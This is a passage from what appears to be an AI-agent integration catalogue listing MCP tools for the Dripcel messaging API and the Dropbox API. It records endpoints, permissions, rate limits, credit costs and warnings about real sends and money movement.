`{"code":"resource_not_found"}`. `group_destinations=list` returns every recipient's cell number, which is contact PII in a tool whose permission is only `sendLog.read`. Ask for it when you need it, not by default. Requires the `sendLog.read` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `sendLog.read`. Note the camelCase -- Dripcel's permission vocabulary is not internally consistent and this is the provider's own spelling. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/send-logs/{send_id}. Scopes: sendLog.read. dripcel_get_tags (read) — List tags via GET /tags. Lists the organisation's tags. Their `_id` values are what every tag-taking tool prefers over tag NAMES, because a name can be changed and an id cannot. Requires the `tag.read` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `tag.read`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/tags. Scopes: tag.read. dripcel_get_tags_by_tag_id (read) — Read a tag via GET /tags/{tag_id}. Reads one tag by id. Requires the `tag.read` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `tag.read`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. GET /api/v1/dripcel/tags/{tag_id}. Scopes: tag.read. dripcel_post_compliance_send (write) — Check cell numbers against a campaign's targeting via POST /compliance/send. Asks, for each cell number, whether it may be sent to -- against one campaign's targeting criteria when `campaign_id` is given, or against the organisation's global opt-outs when it is not. This is the endpoint a third-party supplier uses to stay compliant BEFORE it sends, and it answers `{cell, can_send}` per number plus the credits the check cost. SPENDS THE ORGANISATION'S CREDIT BALANCE: 0.14 credits per CELL QUERIED. Dripcel meters this endpoint separately from the rate limit, so a retry loop spends real money rather than hitting a 429. Read the balance first (`dripcel_get_balance`), batch what you can, and do not call this to probe whether a connection works. Dripcel answers 402 `"Insufficient balance"` when the balance cannot cover the batch, so a large `cells` array can fail as a whole. ONE FIELD NAME IS UNSETTLED: Dripcel's own page gives the required field as `cells` in its parameter table and as `cell` in the worked example directly below it. The table is followed here. This could not be settled against the live API -- the permission check runs first and the wave's key does not hold `compliance:send.create` -- so if Dripcel answers a validation error naming the field, send `cell` instead. Requires the `compliance:send.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `compliance:send.create` -- and the colon in that name is Dripcel's, not a typo. Fifteen of Dripcel's sixteen permissions separate their parts with dots and this one uses a colon; the 403 above is the provider spelling it back. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/compliance/send. Scopes: compliance:send.create. dripcel_post_contacts (write) — Upload new contacts via POST /contacts. Creates contacts in bulk. This is the CREATE-ONLY upload: it does not touch an existing contact, takes up to 100,000 per request and spends fewer rate-limit credits than the update-capable upload. Use the update tool (`PUT /contacts`) when existing contacts must change. Field names are NOT mapped -- send Dripcel's own names, including the custom-field ids `c1`, `c2` and so on. The reply reports `validContacts` and an `invalidContacts` array carrying the 0-based `row` and the validation `issue` for each one rejected, so a partially valid upload is not an error. `send` is the one field to read twice: supplying it TRIGGERS A REAL SEND to the contacts this call uploads, attributed to `campaign_id` and rendered from `template`. That spends credits and messages real people. Omit it unless a send is what you mean. Requires the `contact.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.create`. Dripcel's documentation covers POST and PUT on one line with different values -- `["contact.create"]` (for POST), `["contact.update"]` (for PUT) -- and the live API confirms the split in both directions. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/contacts. Scopes: contact.create. dripcel_post_contacts_by_cell_optOut (write) — Opt a contact out of campaigns via POST /contacts/{cell}/optOut. Opts one contact out of several campaigns at once, or -- with `all: true` -- out of every existing AND FUTURE campaign. This is the robust form of the pair; the PUT tool beside it opts out of exactly one campaign. Either `campaign_ids` or `all` must be given, or Dripcel answers 400 `"Must provider either campaign_ids or set 'all' flag to true"` (the typo is Dripcel's). `create_missing_contact` records the opt-out even for a cell number with no contact yet, which is what a suppression list normally wants. Requires the `contact.update.deduped_campaign_ids` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.update.deduped_campaign_ids`. That permission is NESTED under `contact.update`, so a key holding `contact.update` reaches this endpoint too -- the reverse does not hold. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/contacts/{cell}/optOut. Scopes: contact.update.deduped_campaign_ids. dripcel_post_contacts_search (read) — Search contacts via POST /contacts/search. Runs a query over the organisation's contacts. `find`, `projection` and `options` use a SUBSET of MongoDB query syntax. At least one filter is required. By default only the contact id comes back -- name the fields you want in `projection`, each mapped to 1. SPENDS THE ORGANISATION'S CREDIT BALANCE: 10 credits PER REQUEST, whatever the result count. Dripcel meters this endpoint separately from the rate limit, so a retry loop spends real money rather than hitting a 429. Read the balance first (`dripcel_get_balance`), batch what you can, and do not call this to probe whether a connection works. So paginate with `options.skip`/`options.limit` deliberately: every page is another 10 credits. A 403 here can also be `"Insufficient Resource IDs"`, which names the tag or campaign ids the key may not reach rather than a missing permission. Requires the `contact.read.pii` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.read.pii`, and it answers it BEFORE metering -- a call refused for permissions costs no credits. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/contacts/search. Scopes: contact.read.pii. dripcel_post_contacts_update (write) — Bulk-update contacts via POST /contacts/update. Applies one update to every contact matching `find`. Both fields use a subset of MongoDB syntax, and `update` accepts EXACTLY ONE of `$addToSet` (add tag ids, or dedupe against campaign ids) and `$pull` (remove tag ids) -- Dripcel refuses a request carrying both. The reply reports `matchedCount`, `modifiedCount` and the `parsedRequest` it actually ran, which is the fastest way to see which defaults were filled in. SEPARATELY RATE-LIMITED, and Dripcel flags it in its own danger callout: "This endpoint is quite heavily rate-limited. Although you can update many contacts in one request, you can only make a limited number of requests per minute." That budget is tighter than the organisation's ~50/minute. Put the work in ONE call's `find` rather than looping, and back off on 429. Requires the `contact.update` permission on the API key. Dripcel documents `contact.update` for this endpoint. UNLIKE every other endpoint on this API it could not be confirmed live, because this one validates the body BEFORE it checks permissions -- measured 2026-09-23, an empty body and two progressively more valid ones all answered 400 ZodError rather than the 403 its sibling `PUT /contacts` answers for the same permission. Reaching the permission check needs a fully valid body, which needs real tag or campaign ids, which needs `tag.read`. Recorded as documented-but-unconfirmed rather than measured. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/contacts/update. Scopes: contact.update. dripcel_post_exchange_buyer_transaction (write) — Create marketplace lead transactions via POST /exchange/buyer/transaction. Confirms leads received against a marketplace offer, 1 to 1000 per request. THE BODY IS A JSON ARRAY, not an object. Each lead references the send it came from through EXACTLY ONE of `campaign_id`, `send_id` or `click_id` -- none or more than one is refused -- plus a buyer-supplied `resource_id` used for audit and idempotency. A lead that resolves to a non-marketplace campaign is rejected, and a batch with no matching offer answers 404 `"No matching marketplace offer for: ..."`. MOVES MONEY. `status: "completed"` credits the seller's wallet and debits your credits immediately; `pending` holds the lead for review with no wallet movement; `rejected` refuses it outright. Omitting `status` takes the offer's configured default. Two protections override what you ask for: a duplicate (same contact, same offer, within 7 days) is created `rejected` and NOT charged, and a lead that would exceed the offer's cap is held `pending`. The status a transaction actually landed on is only knowable by reading it back with the search tool. Requires the `marketplace_transaction.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `marketplace_transaction.create`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/exchange/buyer/transaction. Scopes: marketplace_transaction.create. dripcel_post_exchange_buyer_transaction_search (read) — Search marketplace transactions via POST /exchange/buyer/transaction/search. Searches the buyer's marketplace transactions. Every filter is optional; an empty body returns the first page of everything. This is the tool that answers what status a lead ACTUALLY landed on, which the create tool cannot report -- duplicates and offer caps override the status you asked for. THE REPLY IS PAGINATED AND DRIPCEL'S PAGE DOES NOT SAY SO. Measured 2026-09-23, every reply carries a sibling `pagination` object (`limit`, `nextCursor`, `hasNext`) beside `data`. No request knob for it is documented, and neither a body `limit` nor a query `limit` changed the reported limit of 1000 on an empty account -- so read `hasNext` rather than assuming one page is everything, and treat `nextCursor` as the continuation token if Dripcel later documents where to send it. Dripcel documents no permission for this endpoint, and it is NOT assumed to be open: on 2026-09-23 a key holding NONE of Dripcel's sixteen permissions reached it successfully, which is what an ungated endpoint looks like and what a gated one cannot do. Recorded as measured rather than asserted. Measured here directly: this endpoint answered 200 `{"ok":true,"data":[],"pagination":{"limit":1000,"nextCursor":null,"hasNext":false}}` to that same permissionless key. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/exchange/buyer/transaction/search. Scopes: none. dripcel_post_replies_search (read) — Search replies via POST /replies/search. Searches inbound replies. A `Reply` carries `Msisdn` (full international), `Message`, the `campaign_id` that triggered the send, `UserReference` (the send's id -- the same value the send-log tools call `send_id`), `kind` (`optIn`, `optOut` or `unknown`), `Received` and `updatedAt`. Any field typed `string | string[]` may be given several values, which are OR-ed. Replies can be RECLASSIFIED or hidden after the fact, which is what `updatedAt` moves for. Requires the `reply.read` permission on the API key. MEASURED, AND IT DISAGREES WITH THE DOCUMENTATION. Dripcel's Replies page prints `Permissions: ["replies.read"]` and the hand-built ledger carried that spelling, but the live API answers 403 `Must have the 'reply.read' permission(s)` -- SINGULAR (measured 2026-09-23 with a key holding none of the sixteen). The permission this integration names is the one the server enforces; if Dripcel's key-creation screen offers a checkbox spelt `replies.read`, that is the same permission under the documentation's spelling. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/replies/search. Scopes: reply.read. dripcel_post_sales (write) — Upload sales via POST /sales. Records conversions against campaigns, in bulk. THE BODY IS A JSON ARRAY, not an object. Each sale needs `campaign_id` and `cell`; `soldAt` defaults to now and `saleValue` to the campaign's `defaultSaleValue`. For a `Campaigns V2` campaign the cell MUST be in international format (South Africa: 27631231234). A campaign Dripcel cannot resolve answers 404, and a sale with the same cell, campaign and `soldAt` date as an existing one answers 409 `"Duplicate sale"` -- which makes the triple the idempotency key. Requires the `sale.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `sale.create`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/sales. Scopes: sale.create. dripcel_post_send_email_bulk (write) — Send a bulk email via POST /send/email/bulk. Sends one email template to many addresses. `from`, `template_id` and `destinations` are required; `template_id` is an `_id` from the email templates tool. `to_start_at` schedules it for later instead of sending immediately. `filter_non_contacts` drops addresses that are not Dripcel contacts, and Dripcel documents it as REQUIRED when the template contains custom fields to substitute. THIS SENDS REAL EMAIL TO EVERY ADDRESS IN `destinations` AND SPENDS CREDITS, and there is no unsend. Unlike the SMS tool it has no test mode, so the only safe rehearsal is a `destinations` list of addresses you own. The success body is an empty object -- it confirms acceptance, not delivery; follow delivery through the send-log and deliveries tools. Requires the `sendLog.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `sendLog.create`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/send/email/bulk. Scopes: sendLog.create. dripcel_post_send_logs_search (read) — Search send logs via POST /send-logs/search. Searches send logs by campaign and by the datetime delivery started. The reply carries `total`, the `send_logs` themselves and the `parsed` search input -- which is what to page with: raise `options.skip` by `options.limit` until `skip` reaches `total`. `options.limit` defaults to about 1000. Requires the `sendLog.read` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `sendLog.read`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/send-logs/search. Scopes: sendLog.read. dripcel_post_send_sms (write) — Send an SMS via POST /send/sms. Sends one SMS. `content`, `cell`, `skipNonContacts`, `country` and `deliveryMethod` are all required. `campaign_id` attributes the send so hooks can fire on a reply. The reply carries `customerId` -- the id to pass to the deliveries tool to follow this send's delivery status -- and `totalCost`. THIS SENDS A REAL MESSAGE TO A REAL PHONE AND SPENDS CREDITS, and there is no unsend. `sendOptions.testMode: true` is the way to exercise the call without doing that. `skipNonContacts` decides whether a number that is not one of the organisation's contacts is messaged at all, and template substitution in `content` only works for contacts in the organisation. Requires the `sendLog.create` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `sendLog.create`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. POST /api/v1/dripcel/send/sms. Scopes: sendLog.create. dripcel_put_contacts (write) — Upload or update contacts via PUT /contacts. Creates contacts AND updates existing ones, taking the same body and returning the same reply as the create-only upload. Slower and more expensive against the rate limit, capped at 20,000 contacts per request rather than 100,000. Prefer the create-only tool when nothing existing has to change. `send` is the one field to read twice: supplying it TRIGGERS A REAL SEND to the contacts this call uploads, attributed to `campaign_id` and rendered from `template`. That spends credits and messages real people. Omit it unless a send is what you mean. Requires the `contact.update` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.update`. Note the nesting Dripcel documents -- holding `contact.update` implies `contact.update.tag_ids` and `contact.update.deduped_campaign_ids`, but holding either of those does NOT imply `contact.update`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. PUT /api/v1/dripcel/contacts. Scopes: contact.update. dripcel_put_contacts_by_cell_optOut (write) — Opt a contact out of one campaign via PUT /contacts/{cell}/optOut. Opts one contact out of exactly one campaign, named by the REQUIRED `campaign_id`. Dripcel's own note prefers the POST tool beside it, which takes a list; this one exists for the single-campaign case. An unparseable number answers 400 `"Invalid cell number"`. Requires the `contact.update.deduped_campaign_ids` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.update.deduped_campaign_ids`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. PUT /api/v1/dripcel/contacts/{cell}/optOut. Scopes: contact.update.deduped_campaign_ids. dripcel_put_contacts_by_cell_tag_add (write) — Add tags to a contact via PUT /contacts/{cell}/tag/add. Adds tags to one contact, by `tag_ids` (preferred -- ids are stable) or by `tags` names (which change). `create_missing_contact` applies to THIS tool only, not to the remove tool: it creates the contact with these tags when the cell number is not yet a contact. A request carrying no valid tag answers 400 `"No tags to add/remove"`. Requires the `contact.update.tag_ids` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.update.tag_ids`. Nested under `contact.update`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. PUT /api/v1/dripcel/contacts/{cell}/tag/add. Scopes: contact.update.tag_ids. dripcel_put_contacts_by_cell_tag_remove (write) — Remove tags from a contact via PUT /contacts/{cell}/tag/remove. Removes tags from one contact, by `tag_ids` (preferred) or by `tags` names. Takes the same body and returns the same reply as the add tool, except that `create_missing_contact` has no meaning here. A request carrying no valid tag answers 400 `"No tags to add/remove"`. Requires the `contact.update.tag_ids` permission on the API key. Measured 2026-09-23: a key without it answers 403 naming `contact.update.tag_ids`. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. PUT /api/v1/dripcel/contacts/{cell}/tag/remove. Scopes: contact.update.tag_ids. dripcel_put_exchange_buyer_transaction_by_id_status (write) — Accept or reject a marketplace transaction via PUT /exchange/buyer/transaction/{id}/status. Settles one PENDING marketplace transaction: `completed` accepts it -- crediting the seller's wallet and debiting your credits -- and `rejected` refuses it, with no wallet movement. The id is the transaction's own, which the search tool returns. An id Dripcel cannot resolve answers 400 `{"code":"transaction_not_found"}` rather than 404. MOVES MONEY on `completed`. If you already know the outcome when the lead is submitted, set `status` on the create tool instead and save the round trip. Dripcel documents no permission for this endpoint, and it is NOT assumed to be open: on 2026-09-23 a key holding NONE of Dripcel's sixteen permissions reached it successfully, which is what an ungated endpoint looks like and what a gated one cannot do. Recorded as measured rather than asserted. Measured here directly: with a valid body and an unknown id, this endpoint reached the transaction LOOKUP -- 400 `transaction_not_found` -- for that same permissionless key, which a permission-gated endpoint could not do. Every Dripcel reply is `{ok: true, data}` or `{ok: false, error}`, so a 200 carrying `ok: false` is an application error rather than a success. Dripcel rate-limits to about 50 requests per minute PER ORGANISATION and answers 429 `{ok: false, error: {resetsAt, remaining}}`; that is the organisation's shared budget, never the credential. A 403 names the API-key permission it wanted (`Insufficient permissions. Must have the '' permission(s)`) and means the key was minted without it -- regenerate or modify the key under Profile > API Keys rather than retrying. PUT /api/v1/dripcel/exchange/buyer/transaction/{id}/status. Scopes: none. ================================================================================ ## Dropbox URL: https://www.agenticfabriq.com/integrations/dropbox Section: Integrated Tools Dropbox — 157 MCP tools Provider key: dropbox. Scopes: account_info.read, account_info.write, contacts.write, file_requests.read, file_requests.write, files.content.read, files.content.write, files.metadata.read, files.metadata.write, sharing.read, sharing.write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dropbox_post_2_account_delete_profile_photo (write, destructive) — Account delete profile photo via POST /2/account/delete_profile_photo POST /api/v1/dropbox/2/account/delete_profile_photo. Scopes: account_info.write. dropbox_post_2_account_get_photo (read) — Account get photo via POST /2/account/get_photo POST /api/v1/dropbox/2/account/get_photo. Scopes: account_info.read. dropbox_post_2_account_set_profile_photo (write) — Account set profile photo via POST /2/account/set_profile_photo POST /api/v1/dropbox/2/account/set_profile_photo. Scopes: account_info.write. dropbox_post_2_check_user (read) — Check user via POST /2/check/user POST /api/v1/dropbox/2/check/user. Scopes: account_info.read. dropbox_post_2_contacts_delete_manual_contacts (write, destructive) — Contacts delete manual contacts via POST /2/contacts/delete_manual_contacts POST /api/v1/dropbox/2/contacts/delete_manual_contacts. Scopes: contacts.write. dropbox_post_2_contacts_delete_manual_contacts_batch (write, destructive) — Contacts delete manual contacts batch via POST /2/contacts/delete_manual_contacts_batch POST /api/v1/dropbox/2/contacts/delete_manual_contacts_batch. Scopes: contacts.write. dropbox_post_2_file_properties_properties_add (write) — File properties properties add via POST /2/file_properties/properties/add POST /api/v1/dropbox/2/file_properties/properties/add. Scopes: files.metadata.write. dropbox_post_2_file_properties_properties_overwrite (write) — File properties properties overwrite via POST /2/file_properties/properties/overwrite POST /api/v1/dropbox/2/file_properties/properties/overwrite. Scopes: files.metadata.write. dropbox_post_2_file_properties_properties_remove (write, destructive) — File properties properties remove via POST /2/file_properties/properties/remove POST /api/v1/dropbox/2/file_properties/properties/remove. Scopes: files.metadata.write. dropbox_post_2_file_properties_properties_search (read) — File properties properties search via POST /2/file_properties/properties/search POST /api/v1/dropbox/2/file_properties/properties/search. Scopes: files.metadata.read. dropbox_post_2_file_properties_properties_search_continue (read) — File properties properties search continue via POST /2/file_properties/properties/search/continue POST /api/v1/dropbox/2/file_properties/properties/search/continue. Scopes: files.metadata.read. dropbox_post_2_file_properties_properties_update (write) — File properties properties update via POST /2/file_properties/properties/update POST /api/v1/dropbox/2/file_properties/properties/update. Scopes: files.metadata.write. dropbox_post_2_file_properties_templates_add_for_user (write) — File properties templates add for user via POST /2/file_properties/templates/add_for_user POST /api/v1/dropbox/2/file_properties/templates/add_for_user. Scopes: files.metadata.write. dropbox_post_2_file_properties_templates_get_for_user (read) — File properties templates get for user via POST /2/file_properties/templates/get_for_user POST /api/v1/dropbox/2/file_properties/templates/get_for_user. Scopes: files.metadata.read. dropbox_post_2_file_properties_templates_list_for_user (read) — File properties templates list for user via POST /2/file_properties/templates/list_for_user POST /api/v1/dropbox/2/file_properties/templates/list_for_user. Scopes: files.metadata.read. dropbox_post_2_file_properties_templates_remove_for_user (write, destructive) — File properties templates remove for user via POST /2/file_properties/templates/remove_for_user POST /api/v1/dropbox/2/file_properties/templates/remove_for_user. Scopes: files.metadata.write. dropbox_post_2_file_properties_templates_update_for_user (write) — File properties templates update for user via POST /2/file_properties/templates/update_for_user POST /api/v1/dropbox/2/file_properties/templates/update_for_user. Scopes: files.metadata.write. dropbox_post_2_file_requests_count (read) — File requests count via POST /2/file_requests/count POST /api/v1/dropbox/2/file_requests/count. Scopes: file_requests.read. dropbox_post_2_file_requests_create (write) — File requests create via POST /2/file_requests/create POST /api/v1/dropbox/2/file_requests/create. Scopes: file_requests.write. dropbox_post_2_file_requests_delete (write, destructive) — File requests delete via POST /2/file_requests/delete POST /api/v1/dropbox/2/file_requests/delete. Scopes: file_requests.write. dropbox_post_2_file_requests_delete_all_closed (write, destructive) — File requests delete all closed via POST /2/file_requests/delete_all_closed POST /api/v1/dropbox/2/file_requests/delete_all_closed. Scopes: file_requests.write. dropbox_post_2_file_requests_get (read) — File requests get via POST /2/file_requests/get POST /api/v1/dropbox/2/file_requests/get. Scopes: file_requests.read. dropbox_post_2_file_requests_list (read) — File requests list via POST /2/file_requests/list POST /api/v1/dropbox/2/file_requests/list. Scopes: file_requests.read. dropbox_post_2_file_requests_list_continue (read) — File requests list continue via POST /2/file_requests/list/continue POST /api/v1/dropbox/2/file_requests/list/continue. Scopes: file_requests.read. dropbox_post_2_file_requests_list_v2 (read) — File requests list via POST /2/file_requests/list_v2 POST /api/v1/dropbox/2/file_requests/list_v2. Scopes: file_requests.read. dropbox_post_2_file_requests_update (write) — File requests update via POST /2/file_requests/update POST /api/v1/dropbox/2/file_requests/update. Scopes: file_requests.write. dropbox_post_2_files_alpha_get_metadata (read) — Files alpha get metadata via POST /2/files/alpha/get_metadata POST /api/v1/dropbox/2/files/alpha/get_metadata. Scopes: files.metadata.read. dropbox_post_2_files_alpha_upload (write) — Files alpha upload via POST /2/files/alpha/upload POST /api/v1/dropbox/2/files/alpha/upload. Scopes: files.content.write. dropbox_post_2_files_copy (write) — Files copy via POST /2/files/copy POST /api/v1/dropbox/2/files/copy. Scopes: files.content.write. dropbox_post_2_files_copy_batch (write) — Files copy batch via POST /2/files/copy_batch POST /api/v1/dropbox/2/files/copy_batch. Scopes: files.content.write. dropbox_post_2_files_copy_batch_check (read) — Files copy batch check via POST /2/files/copy_batch/check POST /api/v1/dropbox/2/files/copy_batch/check. Scopes: files.content.write. dropbox_post_2_files_copy_batch_check_v2 (read) — Files copy batch check via POST /2/files/copy_batch/check_v2 POST /api/v1/dropbox/2/files/copy_batch/check_v2. Scopes: files.content.write. dropbox_post_2_files_copy_batch_v2 (write) — Files copy batch via POST /2/files/copy_batch_v2 POST /api/v1/dropbox/2/files/copy_batch_v2. Scopes: files.content.write. dropbox_post_2_files_copy_reference_get (read) — Files copy reference get via POST /2/files/copy_reference/get POST /api/v1/dropbox/2/files/copy_reference/get. Scopes: files.content.write. dropbox_post_2_files_copy_reference_save (write) — Files copy reference save via POST /2/files/copy_reference/save POST /api/v1/dropbox/2/files/copy_reference/save. Scopes: files.content.write. dropbox_post_2_files_copy_v2 (write) — Files copy via POST /2/files/copy_v2 POST /api/v1/dropbox/2/files/copy_v2. Scopes: files.content.write. dropbox_post_2_files_create_folder (write) — Files create folder via POST /2/files/create_folder POST /api/v1/dropbox/2/files/create_folder. Scopes: files.content.write. dropbox_post_2_files_create_folder_batch (write) — Files create folder batch via POST /2/files/create_folder_batch POST /api/v1/dropbox/2/files/create_folder_batch. Scopes: files.content.write. dropbox_post_2_files_create_folder_batch_check (read) — Files create folder batch check via POST 